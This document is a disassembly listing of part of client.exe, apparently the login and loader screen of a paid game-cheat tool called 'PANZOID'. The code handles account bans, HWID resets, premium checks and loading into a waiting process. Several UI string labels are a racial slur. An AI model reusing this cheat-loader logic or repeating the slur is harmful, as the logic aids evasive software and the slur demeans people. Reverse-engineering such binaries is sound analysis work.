lea rsi, [rbp + 0x570]
test r10b, r10b
cmovne rsi, rcx
add rsi, r9
sub r8, r9
inc r8
lea rcx, [rsi + 1]
mov rdx, rsi
call fcn.14014bb50
movsx eax, r14b
movzx eax, al
mov byte [rsi], al
mov esi, 1
jmp 0x14001e82b
mov byte [rsp + 0x28], r14b
mov qword [rsp + 0x20], rsi
movzx r8d, dil
mov rdx, rsi
lea rcx, [rbp + 0x570]
call fcn.14000aa30
lea rdx, [rbp + 0x570]
mov rax, qword [rbp + 0x588]
cmp rax, 0xf
seta r10b
mov rcx, qword [rbp + 0x570]
mov r8, qword [rbp + 0x580]
jbe 0x14001e85a
lea r9, [r8 + rcx]
mov rdx, rcx
jmp 0x14001e865
lea r9, [rdx + r8]
lea rdx, [rbp + 0x570]
sub r9, rdx
cmp r8, r9
jb 0x14001fb74
sub rax, r8
cmp rax, 1
jb 0x14001e8b3
lea rax, [r8 + 1]
mov qword [rbp + 0x580], rax
lea rsi, [rbp + 0x570]
test r10b, r10b
cmovne rsi, rcx
add rsi, r9
sub r8, r9
inc r8
lea rcx, [rsi + 1]
mov rdx, rsi
call fcn.14014bb50
movsx eax, r15b
movzx eax, al
mov byte [rsi], al
jmp 0x14001e8d0
mov byte [rsp + 0x28], r15b
mov qword [rsp + 0x20], rsi
movzx r8d, bl
mov rdx, rsi
lea rcx, [rbp + 0x570]
call fcn.14000aa30
lea rax, [rbp + 0x570]
cmp qword [rbp + 0x588], 0xf
cmova rax, qword [rbp + 0x570]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x580]
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0x600]
cmp qword [rbp + 0x618], 0xf
cmova rax, qword [rbp + 0x600]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x2a0], xmm0
movaps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x2b0], xmm1
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x2b0]
call fcn.140067f00
xor r15d, r15d
test r12d, r12d
jg 0x14001e966
lea rcx, str.failed_to_send_request__please_try_again.
call fcn.14005ce40
jmp 0x14001e9d8
mov dword [rbp + 0x6f8], 2
mov r14, qword [0x14019f308]
lea r9, [0x14019f2f8]
cmp qword [0x14019f310], 0xf
cmova r9, qword [0x14019f2f8]
mov rax, qword [rbp + 0x808]
cmp r14, rax
ja 0x14001e9c9
lea rsi, [rbp + 0x7f0]
cmp rax, 0xf
cmova rsi, qword [rbp + 0x7f0]
mov qword [rbp + 0x800], r14
mov r8, r14
mov rdx, r9
mov rcx, rsi
call fcn.14014bb50
mov byte [r14 + rsi], 0
jmp 0x14001e9d8
mov rdx, r14
lea rcx, [rbp + 0x7f0]
call fcn.14000af00
lea rcx, [rbp + 0x570]
call fcn.140001e20
mov r12, qword [rbp - 8]
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm13
addss xmm0, xmm14
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x60], 0x430c0000
mov dword [rbp - 0x5c], 0x41c80000
lea rdx, [rbp - 0x60]
lea rcx, [0x140160a78]
call fcn.14005d780
movzx r13d, r13b
test al, al
mov eax, 1
cmovne r13d, eax
mov ecx, eax
call fcn.140031510
lea rcx, [rbp + 0x590]
call fcn.140001e20
cmp dword [rbp + 0x6f8], 2
jne 0x14001eb2a
mov eax, dword [rbp + 0x6fc]
cmp eax, 0xffffffff
jne 0x14001eaa3
lea rcx, str.logging_in...
jmp 0x14001eb25
cmp eax, 0x6fca
jne 0x14001eabb
lea rcx, str.your_account_is_banned.
call fcn.14005ce40
mov r13b, 1
jmp 0x14001eb2a
cmp eax, 0x3c86
jne 0x14001eacb
lea rcx, str.please_check_your_username_or_password.
jmp 0x14001eb25
cmp eax, 0x2afe
jne 0x14001eae3
lea rcx, str.please_reset_your_hwid_on_the_forums.
call fcn.14005ce40
mov r13b, 1
jmp 0x14001eb2a
cmp eax, 0x18177
jne 0x14001eafb
lea rcx, str.internal_server_error__please_contact_a_developer.
call fcn.14005ce40
mov r13b, 1
jmp 0x14001eb2a
cmp eax, 0xcbb3
jne 0x14001eb13
lea rcx, str.you_dont_have_premium_subsciption.
call fcn.14005ce40
mov r13b, 1
jmp 0x14001eb2a
cmp eax, 0xf063
jne 0x14001f65d
lea rcx, str.logged_in.
call fcn.14005ce40
cmp dword [rbp + 0x6f8], 3
jne 0x14001f606
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
movss xmm6, dword [rax + 0x20]
movss xmm7, dword [rax + 0x24]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
mov r10, qword [rax + 0x298]
movaps xmm0, xmmword [0x14017d0e0]
movups xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x2c0]
call fcn.140031300
movaps xmm0, xmm7
addss xmm0, dword [0x14017ce58]
addss xmm6, xmm12
movss dword [rbp - 0x58], xmm6
movss dword [rbp - 0x54], xmm0
xorps xmm0, xmm0
addss xmm7, xmm0
movss dword [rbp - 0x50], xmm6
movss dword [rbp - 0x4c], xmm7
movss dword [rsp + 0x20], xmm10
mov r9d, eax
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x50]
mov rcx, r10
call fcn.140052d30
mov rcx, qword [0x1401a8a80]
call fcn.14003cd00
lea rcx, str.PANZOID
call fcn.14005ce40
call fcn.14003cda0
mov esi, r15d
mov rcx, qword [rbp + 0x758]
mov r9, qword [rbp + 0x750]
sub rcx, r9
movabs rax, 0x4ec4ec4ec4ec4ec5
imul rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14001ecfb
mov r14, r15
movabs rdi, 0x4ec4ec4ec4ec4ec5
mov r15d, 0x55
nop dword [rax + rax]
movd xmm2, r15d
cvtdq2ps xmm2, xmm2
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm2
addss xmm0, xmm8
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
cmp dword [0x1401a2244], esi
sete r8b
lea rdx, [r9 + 8]
add rdx, r14
cmp qword [rdx + 0x18], 0xf
jbe 0x14001eca9
mov rdx, qword [rdx]
call fcn.1400656f0
test al, al
je 0x14001ecb8
mov dword [0x1401a2244], esi
inc esi
add r15d, 0x28
add r14, 0x68
mov rcx, qword [rbp + 0x758]
mov r9, qword [rbp + 0x750]
sub rcx, r9
mov rax, rdi
imul rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, esi
cmp rax, rdx
jb 0x14001ec30
movzx edi, byte [rsp + 0x60]
xor r15d, r15d
movsxd rax, dword [0x1401a2244]
imul rsi, rax, 0x68
add rsi, r9
movzx eax, byte [rsi]
mov byte [rbp + 0x630], al
movzx eax, byte [rsi + 1]
mov byte [rbp + 0x631], al
movzx eax, byte [rsi + 2]
mov byte [rbp + 0x632], al
lea rdx, [rsi + 8]
lea rcx, [rbp + 0x638]
call fcn.140007930
lea rdx, [rsi + 0x28]
lea rcx, [rbp + 0x658]
call fcn.140007930
lea rdx, [rsi + 0x48]
lea rcx, [rbp + 0x678]
call fcn.140007930
mov rsi, qword [0x1401a2270]
mov rax, qword [rsi + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rsi + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm11
addss xmm0, dword [0x14017ce18]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x48], 0x43480000
mov dword [rbp - 0x44], 0x438c0000
mov rax, qword [rsi + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rsi, qword [rsi + 0x3ed8]
movsxd r8, dword [rsi + 0xf0]
mov rax, qword [rsi + 0xf8]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.data
call fcn.140030eb0
mov r14d, eax
mov rcx, qword [rsi]
cmp dword [rcx + 0x3f20], eax
jne 0x14001ee15
lea r8, str.data
mov edx, reloc.WS2_32.dll_inet_addr
mov ecx, eax
call fcn.140047350
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp - 0x48]
mov edx, r14d
lea rcx, str.data
call fcn.140037640
lea rdx, [rbp + 0x638]
cmp qword [rbp + 0x650], 0xf
cmova rdx, qword [rbp + 0x638]
lea rcx, [0x140160b60]
call fcn.14005ce40
mov rax, qword [0x1401a2270]
mov rax, qword [rax + 0x3ed8]
cmp byte [rax + 0xbb], 0
jne 0x14001ee80
mov eax, dword [rax + 0x1b4]
neg eax
sbb ecx, ecx
add ecx, 6
movaps xmm1, xmm10
call fcn.14005ec70
movzx edx, byte [rbp + 0x632]
lea rcx, str.version__d
call fcn.14005ce40
mov dword [rbp - 0x40], 0x43480000
mov dword [rbp - 0x3c], 0x43700000
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rsi, qword [rcx + 0x3ed8]
movsxd r8, dword [rsi + 0xf0]
mov rax, qword [rsi + 0xf8]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.nigger5
call fcn.140030eb0
mov r14d, eax
mov rcx, qword [rsi]
cmp dword [rcx + 0x3f20], eax
jne 0x14001eeff
lea r8, str.nigger5
mov edx, reloc.WS2_32.dll_inet_addr
mov ecx, eax
call fcn.140047350
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp - 0x40]
mov edx, r14d
lea rcx, str.nigger5
call fcn.140037640
movups xmm0, xmmword [rbp + 0x678]
movaps xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rbp + 0x688]
movaps xmmword [rbp + 0x2e0], xmm1
lea rdx, [rbp + 0x2d0]
lea rcx, [0x140160b9c]
call fcn.14005ce40
call fcn.1400378c0
call fcn.1400378c0
mov rsi, qword [0x1401a2270]
mov rax, qword [rsi + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rsi + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm11
addss xmm0, xmm9
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x38], 0x432a0000
mov dword [rbp - 0x34], 0x43160000
mov rax, qword [rsi + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rsi, qword [rsi + 0x3ed8]
movsxd r8, dword [rsi + 0xf0]
mov rax, qword [rsi + 0xf8]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.nigger2
call fcn.140030eb0
mov r14d, eax
mov rcx, qword [rsi]
cmp dword [rcx + 0x3f20], eax
jne 0x14001f00f
lea r8, str.nigger2
mov edx, reloc.WS2_32.dll_inet_addr
mov ecx, eax
call fcn.140047350
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp - 0x38]
mov edx, r14d
lea rcx, str.nigger2
call fcn.140037640
movaps xmm0, xmmword [rbp + 0x7f0]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm1, xmmword [rbp + 0x800]
movaps xmmword [rbp + 0x300], xmm1
lea rdx, [rbp + 0x2f0]
lea rcx, str._welcome_back___s_
call fcn.14005ce40
movaps xmm0, xmmword [rbp + 0x7d0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm1, xmmword [rbp + 0x7e0]
movaps xmmword [rbp + 0x320], xmm1
lea rdx, [rbp + 0x310]
lea rcx, str._rank:__s
call fcn.14005ce40
call fcn.1400378c0
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, dword [0x14017ce40]
addss xmm0, xmm9
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp - 0x30], 0x432a0000
mov dword [rbp - 0x2c], 0x41c80000
lea rdx, [rbp - 0x30]
lea rcx, str.forum
call fcn.14005d780
test al, al
je 0x14001f12a
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.https:__panzoid.cc
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm1, xmm15
addss xmm0, xmm9
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rsp + 0x6c], 0x432a0000
mov dword [rsp + 0x70], 0x41c80000
lea rdx, [rsp + 0x6c]
lea rcx, str.load
call fcn.14005d780
test al, al
je 0x14001f558
movzx eax, byte [rbp + 0x630]
mov byte [rbp + 0x768], al
movzx eax, byte [rbp + 0x631]
mov byte [rbp + 0x769], al
movzx eax, byte [rbp + 0x632]
mov byte [rbp + 0x76a], al
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0x770]
call fcn.140008e00
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x790]
call fcn.140008e00
lea rdx, [rbp + 0x678]
lea rcx, [rbp + 0x7b0]
call fcn.140008e00
nop
mov byte [rbp + 0x560], 0
xor edx, edx
lea rcx, [rbp + 0x568]
call fcn.140009560
nop
xor eax, eax
mov qword [rbp - 0x20], rax
lea ecx, [rax + 0x20]
call fcn.14011c6c0
mov r14, rax
lea rdx, [rbp + 0x790]
mov rcx, rax
call fcn.140007930
movzx ecx, byte [rbp + 0x560]
test cl, cl
jne 0x14001f272
mov byte [rbp + 0x560], 1
mov dl, 1
lea rcx, [rbp]
call fcn.140009560
mov rsi, qword [rbp]
mov qword [rbp + 0x568], rsi
movzx ecx, byte [rbp + 0x560]
jmp 0x14001f279
mov rsi, qword [rbp + 0x568]
cmp cl, 1
jne 0x14001fbd3
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r15
mov r8d, 2
lea rdx, [0x140160be4]
lea rcx, [rbp + 0x80]
call fcn.1400016c0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x390]
mov rcx, rsi
call fcn.140010ed0
mov rsi, qword [rax]
lea rcx, [rbp + 0x80]
call fcn.140001e20
movzx edx, byte [rsi + 0x40]
mov byte [rsi + 0x40], 3
mov byte [rbp - 0x28], dl
mov rax, qword [rsi + 0x48]
mov qword [rsi + 0x48], r14
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x20]
call fcn.1400087f0
xor eax, eax
mov qword [rbp - 0x10], rax
movzx eax, byte [rbp + 0x768]
mov byte [rbp + 0x10], al
movzx eax, byte [rbp + 0x560]
test al, al
jne 0x14001f339
mov byte [rbp + 0x560], 1
mov dl, 1
lea rcx, [rbp + 8]
call fcn.140009560
mov rsi, qword [rbp + 8]
mov qword [rbp + 0x568], rsi
movzx eax, byte [rbp + 0x560]
jmp 0x14001f340
mov rsi, qword [rbp + 0x568]
cmp al, 1
jne 0x14001fb7a
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r15
mov r8d, 3
lea rdx, [0x140160c1c]
lea rcx, [rbp + 0x40]
call fcn.1400016c0
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x3a0]
mov rcx, rsi
call fcn.140010ed0
mov rsi, qword [rax]
lea rcx, [rbp + 0x40]
call fcn.140001e20
movzx edx, byte [rsi + 0x40]
mov byte [rsi + 0x40], 4
mov byte [rbp - 0x18], dl
mov rax, qword [rsi + 0x48]
mov rcx, qword [rbp + 0x10]
mov qword [rsi + 0x48], rcx
mov qword [rbp - 0x10], rax
lea rcx, [rbp - 0x10]
call fcn.1400087f0
lea rax, [rbp + 0x810]
cmp qword [rbp + 0x828], 0xf
cmova rax, qword [rbp + 0x810]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x820]
mov qword [rbp + 0x38], rax
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x560]
call fcn.140007430
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001f3f6
mov rcx, qword [rax]
mov qword [rbp + 0x60], rcx
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x1e0], xmm0
movaps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x1f0], xmm1
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
xor r8d, r8d
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x170]
call fcn.1400047d0
mov r15, qword [rax + 0x18]
test r15, r15
je 0x14001f4c2
cmp qword [rax + 0x38], 0
je 0x14001f4c2
lea r14, [rax + 8]
cmp qword [r14 + 0x18], 0xf
jbe 0x14001f45d
mov r14, qword [r14]
mov rsi, qword [rbp + 0x6e8]
test rsi, rsi
je 0x14001f4b8
test r14, r14
je 0x14001f4b8
test r15d, r15d
js 0x14001f4b8
cmp qword [rsi + 0x520], 0
je 0x14001f499
mov edx, 8
lea r8d, [rdx - 7]
mov rcx, rsi
call qword [rsi + 0x520]
mov dword [rsi + 0x528], 8
mov r8d, r15d
mov rdx, r14
mov rcx, rsi
call fcn.140091620
mov esi, eax
test eax, eax
mov eax, 0xffffffff
cmovs esi, eax
xor r15d, r15d
jmp 0x14001f4c8
mov esi, 0xffffff53
xor r15d, r15d
jmp 0x14001f4c8
xor r15d, r15d
mov esi, r15d
lea rax, [rbp + 0x178]
cmp qword [rbp + 0x190], 0xf
cmova rax, qword [rbp + 0x178]
mov qword [rbp + 0x188], r15
mov byte [rax], 0
lea rax, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0xf
cmova rax, qword [rbp + 0x198]
mov qword [rbp + 0x1a8], r15
mov byte [rax], 0
mov byte [rbp + 0x171], 0xff
lea rcx, [rbp + 0x198]
call fcn.140001e20
lea rcx, [rbp + 0x178]
call fcn.140001e20
lea rcx, [rbp + 0x3b0]
call fcn.140001e20
test esi, esi
jg 0x14001f545
lea rcx, str.Failed_to_send_request__please_try_again.
call fcn.14005ce40
movzx edx, byte [rbp + 0x560]
lea rcx, [rbp + 0x568]
call fcn.1400087f0
mov rcx, qword [0x1401a2270]
mov rax, qword [rcx + 0x3ed8]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed8]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, xmm9
addss xmm0, dword [0x14017ce54]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rsp + 0x74], 0x432a0000
mov dword [rsp + 0x78], 0x41c80000
lea rdx, [rsp + 0x74]
lea rcx, str.exit
call fcn.14005d780
movzx r13d, r13b
test al, al
mov eax, 1
cmovne r13d, eax
lea rcx, [rbp + 0x678]
call fcn.140001e20
lea rcx, [rbp + 0x658]
call fcn.140001e20
lea rcx, [rbp + 0x638]
call fcn.140001e20
cmp dword [rbp + 0x6f8], 5
jne 0x14001f61b
lea rcx, str.waiting_for_the_process...
call fcn.14005ce40
cmp dword [rbp + 0x6f8], 4
jne 0x14001f630
lea rcx, str.please_wait...
call fcn.14005ce40
cmp dword [rbp + 0x6f8], 6
jne 0x14001f645
lea rcx, [0x140160c48]
call fcn.14005ce40
cmp dword [rbp + 0x6f8], 7
jne 0x14001f65d
lea rcx, str.done.
call fcn.14005ce40
mov r13b, 1
call fcn.14003c580
call fcn.140036b80
mov rcx, qword [0x1401a2280]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
jne 0x14001f6b4
call fcn.140036f90
mov rax, qword [0x1401a2270]
mov rcx, qword [rax + 0x48b8]
mov rax, qword [rcx]
add rax, 0x48
mov rcx, r15
cmp byte [rax], 0
cmovne rcx, rax
call fcn.140058c50
mov rcx, qword [0x1401a2280]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x1401a2280]
mov rax, qword [rcx]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14001f79f
mov rcx, qword [0x1401a2280]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp eax, 0x88760869
jne 0x14001f79f
mov rsi, qword [0x1401a2270]
test rsi, rsi
je 0x14001f75a
mov rsi, qword [rsi + 0x98]
test rsi, rsi
je 0x14001f75a
cmp qword [rsi], 0
je 0x14001f75a
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x14001f725
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsi + 8], r15
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14001f738
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsi + 0x10], r15
mov rcx, qword [rsi + 0x18]
test rcx, rcx
je 0x14001f75a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsi + 0x18], r15
mov rax, qword [0x1401a2270]
mov rcx, qword [rax + 0x38]
mov qword [rcx + 8], r15
mov rcx, qword [0x1401a2280]
mov rax, qword [rcx]
lea rdx, [0x1401a2290]
call qword [rax + 0x80]
cmp eax, 0x8876086c
je 0x14001f817
mov rsi, qword [0x1401a2270]
test rsi, rsi
je 0x14001f79f
mov rax, qword [rsi + 0x98]
test rax, rax
je 0x14001f79f
cmp qword [rax], 0
je 0x14001f79f
call fcn.140059210
mov r14d, dword [rsp + 0x68]
mov esi, dword [rsp + 0x64]
cmp dword [rbp + 0x6b8], 0x12
jne 0x14001d9c0
jmp 0x14001f817
mov eax, r15d
xchg byte [rbp + 0x6e4], al
cmp qword [rbp + 0x6e8], 0
je 0x14001f806
movsxd rcx, dword [rbp + 0x6e0]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbp + 0x6e8]
call fcn.14006f4a0
mov rcx, qword [rbp + 0x6e8]
test rcx, rcx
je 0x14001f7f4
call fcn.140083410
mov eax, 0xffffffff
mov dword [rbp + 0x6e0], eax
mov qword [rbp + 0x6e8], r15
mov qword [rbp + 0x18], 3
lea rcx, [rbp + 0x18]
call fcn.14000a150
mov rsi, qword [0x1401a2270]
test rsi, rsi
je 0x14001f82c
mov rdi, qword [rsi + 0x98]
jmp 0x14001f82f
mov rdi, r15
mov rsi, qword [0x1401a2270]
test rsi, rsi
je 0x14001f895
mov rbx, qword [rsi + 0x98]
test rbx, rbx
je 0x14001f895
cmp qword [rbx], 0
je 0x14001f895
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001f860
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 8], r15
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14001f873
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x10], r15
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14001f895
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x18], r15
mov rax, qword [0x1401a2270]
mov rcx, qword [rax + 0x38]
mov qword [rcx + 8], r15
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001f8a3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsi + 0x88], r15
mov qword [rsi + 0x98], r15
and dword [rsi + 0xc], 0xfffffff7
mov rax, qword [0x1401a2270]
test rax, rax
je 0x14001f8c7
dec dword [rax + 0xec]
mov rcx, rdi
call fcn.14012e000
mov rax, qword [0x1401a2270]
test rax, rax
je 0x14001f8e4
mov rdi, qword [rax + 0x90]
jmp 0x14001f8e7
mov rdi, r15
lea rbx, [rax + 8]
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x14001f901
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1401a2270]
mov qword [rbx + 0x78], r15
mov qword [rbx + 0x88], r15
and dword [rbx + 4], 0xfffffff8
test rax, rax
je 0x14001f91b
dec dword [rax + 0xec]
mov rcx, rdi
call fcn.14012e000
mov rbx, qword [0x1401a2270]
mov qword [0x1401a2270], rbx
call fcn.140033200
mov qword [0x1401a2270], r15
test rbx, rbx
je 0x14001f964
mov rcx, rbx
call fcn.140048450
mov rax, qword [0x1401a2270]
test rax, rax
je 0x14001f95c
dec dword [rax + 0xec]
mov rcx, rbx
call fcn.14012e000
mov rcx, qword [0x1401a2280]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1401a2278]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r12
call qword [sym.imp.USER32.dll_DestroyWindow]
lea rcx, [rbp + 0x600]
call fcn.140001e20
cmp dword [rbp + 0x5f8], 0
jne 0x14001fc2c
cmp dword [rbp + 0x5d8], 0
jne 0x14001fc2c
cmp dword [rbp + 0x5e8], 0
jne 0x14001fc2c
lea rcx, [rbp + 0x8e8]
call fcn.14001fc90
lea rcx, [rbp + 0x898]
call sym.client.exe_public_virtual:_void___cdecl_asmjit::HostRuntime::flush_void____ptr64__unsigned_long_long_unsigned___int64_____ptr64
lea rcx, [rbp + 0x880]
call fcn.14001fc90
lea rcx, [rbp + 0x830]
call sym.client.exe_public_virtual:_void___cdecl_asmjit::HostRuntime::flush_void____ptr64__unsigned_long_long_unsigned___int64_____ptr64
lea rcx, [rbp + 0x810]
call fcn.140001e20
lea rcx, [rbp + 0x7f0]
call fcn.140001e20
lea rcx, [rbp + 0x7d0]
call fcn.140001e20
lea rcx, [rbp + 0x7b0]
call fcn.140001e20
lea rcx, [rbp + 0x790]
call fcn.140001e20
lea rcx, [rbp + 0x770]
call fcn.140001e20
lea rcx, [rbp + 0x750]
call fcn.14001ff00
lea rcx, [rbp + 0x708]
call fcn.14001b2e0
jmp 0x14001fafa
lea r8, str.client
lea rdx, str.internal_graphics_error__please_check_your_video_drivers.
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x8e8]
call fcn.14001fc90
lea rcx, [rbp + 0x898]
call sym.client.exe_public_virtual:_void___cdecl_asmjit::HostRuntime::flush_void____ptr64__unsigned_long_long_unsigned___int64_____ptr64
lea rcx, [rbp + 0x880]
call fcn.14001fc90
lea rcx, [rbp + 0x830]
call sym.client.exe_public_virtual:_void___cdecl_asmjit::HostRuntime::flush_void____ptr64__unsigned_long_long_unsigned___int64_____ptr64
lea rcx, [rbp + 0x810]
call fcn.140001e20
lea rcx, [rbp + 0x7f0]
call fcn.140001e20
lea rcx, [rbp + 0x7d0]
call fcn.140001e20
lea rcx, [rbp + 0x7b0]
call fcn.140001e20
lea rcx, [rbp + 0x790]
call fcn.140001e20
lea rcx, [rbp + 0x770]
call fcn.140001e20
lea rcx, [rbp + 0x750]
call fcn.14001ff00
lea rcx, [rbp + 0x708]
call fcn.14001b2e0
xor eax, eax
mov rcx, qword [rbp + 0x1cc0]
xor rcx, rsp
call fcn.14011c6a0
lea r11, [rsp + 0x1e70]
mov rbx, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov dword [rbp + 0x5e8], r15d
mov ecx, 6
call fcn.14011aac0
int3
call fcn.14012387c
int3
call fcn.1400098d0
int3
lea rcx, [rbp + 0x560]
call fcn.140008ce0
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.140001680
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x440]
call fcn.140009b80
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0x3d0]
call fcn.140003d00
lea rdx, [0x14019a218]
lea rcx, [rbp + 0x3d0]
call fcn.14011e910
int3
lea rcx, [rbp + 0x560]
